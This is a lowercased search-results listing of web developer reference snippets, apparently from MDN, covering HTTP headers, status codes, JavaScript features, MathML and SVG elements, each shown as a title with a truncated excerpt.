examples date: wed, 21 oct 2015 07:28:00 gmt new date().toutcstring() // "mon, 09 mar 2020 08:13:24 gmt" specifications specification title rfc 7231, section 7.1.1.2: date hypertext transfer protocol (http/1.1): semantics and
content ...
Digest - HTTP
the selected representation depends on the
content-type and
content-encoding header values: so a single resource may have multiple different digest values.
Feature-Policy: display-capture - HTTP
the http feature-policy header display-capture directive controls whether or not the document is permitted to use screen capture api, i.e.,getdisplaymedia() to capture the screen's
contents.
web-share - HTTP
the http feature-policy header web-share directive controls controls whether the current document is allowed to use the navigator.share() of web share api to share text, links, images, and other
content to arbitrary destiations of user's choice.
Forwarded - HTTP
this header is used for debugging, statistics, and generating location-dependent
content and by design it exposes privacy sensitive information, such as the ip address of the client.
From - HTTP
examples from: webmaster@example.org specifications specification title rfc 7231, section 5.5.1: from hypertext transfer protocol (http/1.1): semantics and
content ...
If-Range - HTTP
the if-range http request header makes a range request conditional: if the condition is fulfilled, the range request will be issued and the server sends back a 206 partial
content answer with the appropriate body.
Keep-Alive - HTTP
examples a response containing a keep-alive header: http/1.1 200 ok connection: keep-alive
content-encoding: gzip
content-type: text/html; charset=utf-8 date: thu, 11 aug 2016 15:23:13 gmt keep-alive: timeout=5, max=1000 last-modified: mon, 25 jul 2016 04:32:39 gmt server: apache (body) specifications specification title http keep-alive header keep-alive header (ietf internet draft) rfc 7230, appendix a.1.2: keep-alive hypertext transfer protocol (htt...
Large-Allocation - HTTP
the large-allocation tells the browser that the web
content in the to-be-loaded page is going to want to perform a large contiguous memory allocation and the browser can react to this header by starting a dedicated process for the to-be-loaded document, for example.
Range - HTTP
if the server sends back ranges, it uses the 206 partial
content for the response.
Referer - HTTP
examples referer: https://developer.mozilla.org/docs/web/javascript specifications specification title rfc 7231, section 5.5.2: referer hypertext transfer protocol (http/1.1): semantics and
content ...
Referrer-Policy - HTTP
for example, you can set the referrer policy for the entire document with a <meta> element with a name of referrer: <meta name="referrer"
content="origin"> or set it for individual requests with the referrerpolicy attribute on <a>, <area>, <img>, <iframe>, <script>, or <link> elements: <a href="http://example.com" referrerpolicy="origin"> alternatively, a noreferrer link relation on an a, area, or link element can be set: <a href="http://example.com" rel="noreferrer"> integration with css css can fetch resources referenced from style...
Retry-After - HTTP
retry-after: wed, 21 oct 2015 07:28:00 gmt retry-after: 120 specifications specification title rfc 7231, section 7.1.3: retry-after hypertext transfer protocol (http/1.1): semantics and
content ...
Upgrade - HTTP
examples connection: upgrade upgrade: http/2.0, shttp/1.3, irc/6.9, rta/x11 connection: upgrade upgrade: websocket specifications specification hypertext transfer protocol (http/1.1): message syntax and routing (http/1.1)# header.upgrade hypertext transfer protocol (http/1.1): semantics and
content (http/1.1)# status.426 hypertext transfer protocol version 2 (http/2) (http/2)# informational-responses ...
User-Agent - HTTP
13.1.1 mobile/15e148 safari/604.1 internet explorer ua string examples mozilla/5.0 (compatible; msie 9.0; windows phone os 7.5; trident/5.0; iemobile/9.0) crawler and bot ua strings examples googlebot/2.1 (+http://www.google.com/bot.html) specifications specification title rfc 7231, section 5.5.3: user-agent hypertext transfer protocol (http/1.1): semantics and
content rfc 2616, section 14.43: user-agent hypertext transfer protocol -- http/1.1 ...
Warning - HTTP
199 miscellaneous warning arbitrary, non-specific warning 214 transformation applied added by a proxy if it applies any transformation to the representation, such as changing the
content-coding, media-type or the like.
X-Forwarded-For - HTTP
this header is used for debugging, statistics, and generating location-dependent
content and by design it exposes privacy sensitive information, such as the ip address of the client.
X-Forwarded-Host - HTTP
this header is used for debugging, statistics, and generating location-dependent
content and by design it exposes privacy sensitive information, such as the ip address of the client.
CONNECT - HTTP
connect server.example.com:80 http/1.1 host: server.example.com:80 proxy-authorization: basic agvsbg86d29ybgq= specifications specification title rfc 7231, section 4.3.6: connect hypertext transfer protocol (http/1.1): semantics and
content ...
GET - HTTP
request has body no successful response has body yes safe yes idempotent yes cacheable yes allowed in html forms yes syntax get /index.html specifications specification title rfc 7231, section 4.3.1: get hypertext transfer protocol (http/1.1): semantics and
content ...
HTTP request methods - HTTP
specifications specification title comment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and
content specifies get, head, post, put, delete, connect, options, trace.
Network Error Logging - HTTP
valid the ip address is invalid tcp.address_unreachable the ip address is unreachable tcp.failed the tcp connection failed due to reasons not covered by previous errors http.error the user agent successfully received a response, but it had a 4xx or 5xx status code http.protocol.error the connection was aborted due to an http protocol error http.response.invalid response is empty, has a
content-length mismatch, has improper encoding, and/or other conditions that prevent user agent from processing the response http.response.redirect_loop the request was aborted due to a detected redirect loop http.failed the connection failed due to errors in http protocol not covered by previous errors specifications specification network error logging ...
100 Continue - HTTP
status 100 continue specifications specification title rfc 7231, section 6.2.1: 100 continue hypertext transfer protocol (http/1.1): semantics and
content ...
101 Switching Protocols - HTTP
http/1.1 101 switching protocols upgrade: websocket connection: upgrade specifications specification title rfc 7231, section 6.2.2: 101 switching protocol hypertext transfer protocol (http/1.1): semantics and
content ...
202 Accepted - HTTP
status 202 accepted specifications specification title rfc 7231, section 6.3.3: 202 accepted hypertext transfer protocol (http/1.1): semantics and
content ...
203 Non-Authoritative Information - HTTP
status 203 non-authoritative information specifications specification title rfc 7231, section 6.3.4: 203 non-authoritative information hypertext transfer protocol (http/1.1): semantics and
content ...
300 Multiple Choices - HTTP
status 300 multiple choices specifications specification title rfc 7231, section 6.4.1: 300 multiple choices hypertext transfer protocol (http/1.1): semantics and
content ...
301 Moved Permanently - HTTP
status 301 moved permanently example client request get /index.php http/1.1 host: www.example.org server response http/1.1 301 moved permanently location: http://www.example.org/index.asp specifications specification title rfc 7231, section 6.4.2: 301 moved permanently hypertext transfer protocol (http/1.1): semantics and
content ...
302 Found - HTTP
status 302 found specifications specification title rfc 7231, section 6.4.3: 302 found hypertext transfer protocol (http/1.1): semantics and
content ...
303 See Other - HTTP
status 303 see other specifications specification title rfc 7231, section 6.4.4: 303 see other hypertext transfer protocol (http/1.1): semantics and
content ...
304 Not Modified - HTTP
the equivalent 200 ok response would have included the headers cache-control,
content-location, date, etag, expires, and vary.
307 Temporary Redirect - HTTP
status 307 temporary redirect specifications specification title rfc 7231, section 6.4.7: 307 temporary redirect hypertext transfer protocol (http/1.1): semantics and
content ...
400 Bad Request - HTTP
status 400 bad request specifications specification title rfc 7231, section 6.5.1: 400 bad request hypertext transfer protocol (http/1.1): semantics and
content ...
403 Forbidden - HTTP
status 403 forbidden example response http/1.1 403 forbidden date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.3: 403 forbidden http/1.1: semantics and
content ...
404 Not Found - HTTP
specifications specification title rfc 7231, section 6.5.4: 404 not found hypertext transfer protocol (http/1.1): semantics and
content ...
405 Method Not Allowed - HTTP
status 405 method not allowed specifications specification title rfc 7231, section 6.5.5: 405 method not allowed hypertext transfer protocol (http/1.1): semantics and
content ...
408 Request Timeout - HTTP
status 408 request timeout specifications specification title rfc 7231, section 6.5.7: 408 request timeout hypertext transfer protocol (http/1.1): semantics and
content ...
409 Conflict - HTTP
status 409 conflict specifications specification title rfc 7231, section 6.5.8: 409 conflict hypertext transfer protocol (http/1.1): semantics and
content ...
410 Gone - HTTP
status 410 gone specifications specification title rfc 7231, section 6.5.9: 410 gone hypertext transfer protocol (http/1.1): semantics and
content ...
412 Precondition Failed - HTTP
for example, when editing mdn, the current wiki
content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
413 Payload Too Large - HTTP
status 413 payload too large specifications specification title rfc 7231, section 6.5.11: 413 payload too large hypertext transfer protocol (http/1.1): semantics and
content ...
414 URI Too Long - HTTP
status 414 uri too long specifications specification title rfc 7231, section 6.5.12: 414 uri too long hypertext transfer protocol (http/1.1): semantics and
content ...
417 Expectation Failed - HTTP
status 417 expectation failed specifications specification title rfc 7231, section 6.5.14: 417 expectation failed hypertext transfer protocol (http/1.1): semantics and
content ...
418 I'm a teapot - HTTP
status 418 i'm a teapot specifications specification title rfc 2324, section 2.3.2: 418 i'm a teapot hyper text coffee pot control protocol (htcpcp/1.0): semantics and
content rfc 7168, section 2.3.3: 418 i'm a teapot the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea): response codes ...
422 Unprocessable Entity - HTTP
the hypertext transfer protocol (http) 422 unprocessable entity response status code indicates that the server understands the
content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.
426 Upgrade Required - HTTP
status 426 upgrade required examples http/1.1 426 upgrade required upgrade: http/2.0 connection: upgrade
content-length: 53
content-type: text/plain this service requires use of the http/2.0 protocol specifications specification title rfc 7231, section 6.5.15: 426 upgrade required hypertext transfer protocol (http/1.1): semantics and
content ...
429 Too Many Requests - HTTP
status 429 too many requests example http/1.1 429 too many requests
content-type: text/html retry-after: 3600 specifications specification title rfc 6585, section 4: 429 too many requests additional http status codes ...
500 Internal Server Error - HTTP
status 500 internal server error specifications specification title rfc 7231, section 6.6.1: 500 internal server error hypertext transfer protocol (http/1.1): semantics and
content ...
501 Not Implemented - HTTP
status 501 not implemented specifications specification title rfc 7231, section 6.6.2: 501 not implemented hypertext transfer protocol (http/1.1): semantics and
content ...
502 Bad Gateway - HTTP
status 502 bad gateway specifications specification title rfc 7231, section 6.6.3: 502 bad gateway hypertext transfer protocol (http/1.1): semantics and
content ...
503 Service Unavailable - HTTP
status 503 service unavailable specifications specification title rfc 7231, section 6.6.4: 503 service unavailable hypertext transfer protocol (http/1.1): semantics and
content ...
504 Gateway Timeout - HTTP
status 504 gateway timeout specifications specification title rfc 7231, section 6.6.5: 504 gateway timeout hypertext transfer protocol (http/1.1): semantics and
content ...
505 HTTP Version Not Supported - HTTP
status 505 http version not supported specifications specification title rfc 7231, section 6.6.6: 505 http version not supported hypertext transfer protocol (http/1.1): semantics and
content ...
CSS Houdini
css painting api developed to improve the extensibility of css — allows developers to write javascript functions that can draw directly into an element's background, border, or
content via the paint() css function.
JavaScript technologies overview - JavaScript
introduction whereas html defines a webpage's structure and
content and css sets the formatting and appearance, javascript adds interactivity to a webpage and creates rich web applications.
WeakRef.prototype.deref() - JavaScript
const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.text
content = ++this.count; } else { // the element doesn't exist anymore console.log("the element is gone."); this.stop(); this.ref = null; } }; specifications specification weakrefsthe definition of 'weakref.prototype.deref()' in that specification.
WeakRef - JavaScript
s counter { constructor(element) { // remember a weak reference to the dom element this.ref = new weakref(element); this.start(); } start() { if (this.timer) { return; } this.count = 0; const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.text
content = ++this.count; } else { // the element doesn't exist anymore console.log("the element is gone."); this.stop(); this.ref = null; } }; tick(); this.timer = setinterval(tick, 1000); } stop() { if (this.timer) { clearinterval(this.timer); this.timer = 0; } } } const counter = new counter(document.getelementbyid("cou...
WebAssembly.Module - JavaScript
static properties webassembly.module.customsections() given a module and string, returns a copy of the
contents of all custom sections in the module with the given string name.
WebAssembly.Table.prototype.set() - JavaScript
we then print out the table length and
contents of the two indexes (retrieved via table.prototype.get()) to show that the length is two, and the indexes currently contain no function references (they currently return null).
WebAssembly.Table - JavaScript
we then print out the table length and
contents of the two indexes (retrieved via table.prototype.get() to show that the length is two and both elements are null.
encodeURIComponent() - JavaScript
to be more stringent in adhering to rfc 3986 (which reserves !, ', (, ), and *), even though these characters have no formalized uri delimiting uses, the following can be safely used: function fixedencodeuricomponent(str) { return encodeuricomponent(str).replace(/[!'()*]/g, function(c) { return '%' + c.charcodeat(0).tostring(16); }); } examples encoding for
content-disposition and link headers the following example provides the special encoding required within utf-8
content-disposition and link server response header parameters (e.g., utf-8 filenames): var filename = 'my file(2).txt'; var header = "
content-disposition: attachment; filename*=utf-8''" + encoderfc5987valuechars(filename); console.log(header); // logs "
content-disposition: attac...
eval() - JavaScript
pass data instead of code for example, an extension designed to scrape
contents of web-pages could have the scraping rules defined in xpath instead of javascript code.
parseInt() - JavaScript
ecmascript 5 states: the parseint function produces an integer value dictated by interpretation of the
contents of the string argument according to the specified radix.
Equality (==) - JavaScript
if you compare one of these with a string literal, the string object will be converted to a string literal and the
contents will be compared.
Logical OR assignment (||=) - JavaScript
examples setting default
content if the "lyrics" element is empty, set the innerhtml to a default value: document.getelementbyid('lyrics').innerhtml ||= '<i>no lyrics.</i>' here the short-circuit is especially beneficial, since the element will not be updated unnecessarily and won't cause unwanted side-effects such as additional parsing or rendering work, or loss of focus, etc.
delete operator - JavaScript
in the following example, trees[3] is assigned the value undefined, but the array element still exists: var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; trees[3] = undefined; if (3 in trees) { // this is executed } if instead, you want to remove an array element by changing the
contents of the array, use the splice() method.
void operator - JavaScript
javascript uris when a browser follows a javascript: uri, it evaluates the code in the uri and then replaces the
contents of the page with the returned value, unless the returned value is undefined.
const - JavaScript
for instance, in the case where the
content is an object, this means the object's
contents (e.g., its properties) can be altered.
for - JavaScript
0; for ( var oitnode = document.getelementbyid(sid); /* initialization */ oitnode; /* condition */ nleft += oitnode.offsetleft, ntop += oitnode.offsettop, oitnode = oitnode.offsetparent /* final-expression */ ); /* semicolon */ console.log('offset position of \'' + sid + '\' element:\n left: ' + nleft + 'px;\n top: ' + ntop + 'px;'); } /* example call: */ showoffsetpos('
content'); // output: // "offset position of "
content" element: // left: 0px; // top: 153px;" note: this is one of the few cases in javascript where the semicolon is mandatory.
background_color - Web app manifests
therefore background_color should match the background-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's
content.
<merror> - MathML
the mathml <merror> element is used to display
contents as error messages.
<mlabeledtr> - MathML
the first child is the label whereas all other children are representing row
contents and are treated identically to children of <mtr> elements.
<mpadded> - MathML
the mathml <mpadded> element is used to add extra padding and to set the general adjustment of position and size of enclosed
contents.
Examples - MathML
below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web
content.
Guide to streaming audio and video - Web media technologies
for example, because many web sites' mobile-specific
content assume that mobile browsers support hls, firefox for android does as well, in order to avoid strange compatibility errors from occurring due to this assumption being incorrect.
Using dns-prefetch - Web Performance
the cross-origin domain is then specified in the href attribute: syntax <link rel="dns-prefetch" href="https://fonts.gstatic.com/" > examples <html> <head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> <!-- and all other head elements --> </head> <body> <!-- your page
content --> </body> </html> you should place dns-prefetch hints in the <head> element any time your site references resources on cross-origin domains, but there are some things to keep in mind.
begin - SVG: Scalable Vector Graphics
each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or dom
contentloaded event).
color-profile - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has an effect on the following element: <image> usage notes value auto | srgb | <name> | <iri> default value auto animatable yes auto all colors are presumed to be defined in the srgb color space unless a more precise embedded profile is specified within
content data.
display - SVG: Scalable Vector Graphics
&& list-item<display-internal> = table-row-group | table-header-group | table-footer-group | table-row | table-cell | table-column-group | table-column | table-caption | ruby-base | ruby-text | ruby-base-container | ruby-text-container<display-box> =
contents | none<display-legacy> = inline-block | inline-list-item | inline-table | inline-flex | inline-grid animatable yes for a description of the values, please refer to the css display property.
end - SVG: Scalable Vector Graphics
each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or dom
contentloaded event).
externalResourcesRequired - SVG: Scalable Vector Graphics
because setting externalresourcesrequired="true" on a container element will have the effect of disabling progressive display of the
contents of that container, if that container includes elements that reference external resources, authors should avoid simply setting externalresourcesrequired="true" on the outermost <svg> element on a universal basis.
mask - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" mask
contentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attribute ...
pointsAtZ - SVG: Scalable Vector Graphics
the pointsatz attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing, assuming that, in the initial local coordinate system, the positive z-axis comes out towards the person viewing the
content and assuming that one unit along the z-axis equals one unit in x and y.
rendering-intent - SVG: Scalable Vector Graphics
only one element is using this attribute: <color-profile> usage notes value auto | perceptual | relative-colorimetric | saturation | absolute-colorimetric default value auto animatable yes auto this value allows the user agent to determine the best intent based on the
content type.
xlink:href - SVG: Scalable Vector Graphics
value <iri> default value none animatable yes tref for <tref>, xlink:href defines a reference to an element whose character data
content shall be used as character data for this <tref> element.
z - SVG: Scalable Vector Graphics
the z attribute defines the location along the z-axis for a light source in the coordinate system established by the primitiveunits attribute on the <filter> element, assuming that, in the initial coordinate system, the positive z-axis comes out towards the person viewing the
content and assuming that one unit along the z-axis equals one unit in x and y.
<a> - SVG: Scalable Vector Graphics
ive, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
<altGlyph> - SVG: Scalable Vector Graphics
usage context categoriestext
content element, text
content child elementpermitted
contentany elements or character data attributes x this attribute defines the corresponding absolute x-coordinates for rendering the element.
<altGlyphDef> - SVG: Scalable Vector Graphics
usage context categoriestext
content elementpermitted
contenteither: one or more <glyphref> elements, or one or more <altglyphitem> elements attributes global attributes core attributes specific attributes none dom interface this element implements the svgaltglyphdefelement interface.
<altGlyphItem> - SVG: Scalable Vector Graphics
usage context categoriestext
content elementpermitted
contentone or more <glyphref> elements example attributes global attributes core attributes specific attributes none dom interface this element implements the svgaltglyphitemelement interface.
<animateColor> - SVG: Scalable Vector Graphics
usage context categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes animation event attributes xlink attributes animation attribute target attributes animation timing attributes animation value attributes animation addition attributes externalresourcesrequired specific attributes by from to dom...
<animateMotion> - SVG: Scalable Vector Graphics
k; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted
contentany number of the following elements, in any order:descriptive elements<mpath> attributes keypoints this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values.
<animateTransform> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted
contentany number of the following elements, in any order:descriptive elements example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample attribu...
<circle> - SVG: Scalable Vector Graphics
ia-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<circle>' in that specification.
<color-profile> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes » specific attributes local name rendering-intent xlink:href dom interface this element implements the svgcolorprofileelement interface.
<cursor> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes xlink attributes externalresourcesrequired specific attributes x y xlink:href dom interface this element implements the svgcursorelement interface.
<desc> - SVG: Scalable Vector Graphics
</desc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted
contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
<discard> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted
contentany number of the following elements, in any order:descriptive elements<script> attributes global attributes conditional processing attributes core attributes aria attributes specific attributes begin href (but note that <discard> has never supported xlink:href) specifications specification status comment svg animations level 2the definition of '<discard...
<ellipse> - SVG: Scalable Vector Graphics
ia-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<ellipse>' in that specification.
<feBlend> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 mode dom interface this element implements the svgfeblendelement interface.
<feColorMatrix> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in type values dom interface this element implements the svgfecolormatrixelement interface.
<feComponentTransfer> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<fefunca>, <fefuncr>, <fefuncb>, <fefuncg> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface this element implements the svgfecomponenttransferelement interface.
<feComposite> - SVG: Scalable Vector Graphics
the arithmetic operation is chosen, each result pixel is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively k1, k2, k3 and k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes » presentation attributes » filter primitive attributes » class style specific attributes in in2 operator k1 k2 k3 k4 dom interface this element implements the svgfecompositeelement interface.
<feConvolveMatrix> - SVG: Scalable Vector Graphics
assuming the simplest case (where the input image's pixel grid aligns perfectly with the kernel's pixel grid) and assuming default values for attributes ‘divisor’, ‘targetx’ and ‘targety’, then resulting color value will be: (9* 0 + 8* 20 + 7* 40 + 6*100 + 5*120 + 4*140 + 3*200 + 2*220 + 1*240) / (9+8+7+6+5+4+3+2+1) usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in order kernelmatrix divisor bias targetx targety edgemode kernelunitlength preservealpha dom interface this element implements the svgfeconvolvematrixelement interface.
<feDisplacementMap> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in in2 scale xchannelselector ychannelselector dom interface this element implements the svgfedisplacementmapelement interface.
<feDistantLight> - SVG: Scalable Vector Graphics
usage context categorieslight source elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes azimuth elevation dom interface this element implements the svgfedistantlightelement interface.
<feDropShadow> - SVG: Scalable Vector Graphics
value type: <number>; default value: 2; animatable: yes global attributes core attributes most notably: id styling attributes class, style filter primitive attributes height, in, result, x, y, width presentation attributes most notably: flood-color, flood-opacity usage notes categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <script>, <set> specifications specification status comment filter effects module level 1the definition of '<fedropshadow>' in that specification.
<feFuncA> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncaelement interface.
<feFuncB> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncbelement interface.
<feFuncG> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncgelement interface.
<feFuncR> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface this element implements the svgfefuncrelement interface.
<feGaussianBlur> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in stddeviation edgemode dom interface this element implements the svgfegaussianblurelement interface.
<feImage> - SVG: Scalable Vector Graphics
the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
<feMerge> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000...
<feMergeNode> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:<animate>, <set> example <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> <rec...
<feOffset> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dx dy dom interface this element implements the svgfeoffsetelement interface.
<fePointLight> - SVG: Scalable Vector Graphics
usage context categorieslight source elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes x y z dom interface this element implements the svgfepointlightelement interface.
<feTile> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface this element implements the svgfetileelement interface.
<feTurbulence> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes basefrequency numoctaves seed stitchtiles type dom interface this element implements the svgfeturbulenceelement interface.
<filter> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:descriptive elementsfilter primitive elements<animate>, <set> attributes global attributes core attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes x y width height filterres filterunits primitiveunits xlink:href dom interface this element implements the svgfilterelement interface.
<font-face-format> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted
contentempty attributes global attributes core attributes specific attributes string dom interface this element implements the svgfontfaceformatelement interface.
<font-face-name> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentempty attributes global attributes core attributes » specific attributes name dom interface this element implements the svgfontfacenameelement interface.
<font-face-src> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted
contentone or more of the following elements, in any order:<font-face-name>, <font-face-uri> attributes global attributes core attributes specific attributes none dom interface this element implements the svgfontfacesrcelement interface.
<font-face-uri> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted
contentany number of the following elements, in any order:<font-face-format> attributes global attributes core attributes xlink attributes specific attributes xlink:href dom interface this element implements the svgfontfaceurielement interface.
<font> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted
contentany number of the following elements, in any order:descriptive elements<font-face>, <glyph>, <hkern>, <missing-glyph>, <vkern> attributes global attributes core attributes presentation attributes class style externalresourcesrequired specific attributes horiz-origin-x horiz-origin-y horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface this element implements the svgfontelement interface.
<foreignObject> - SVG: Scalable Vector Graphics
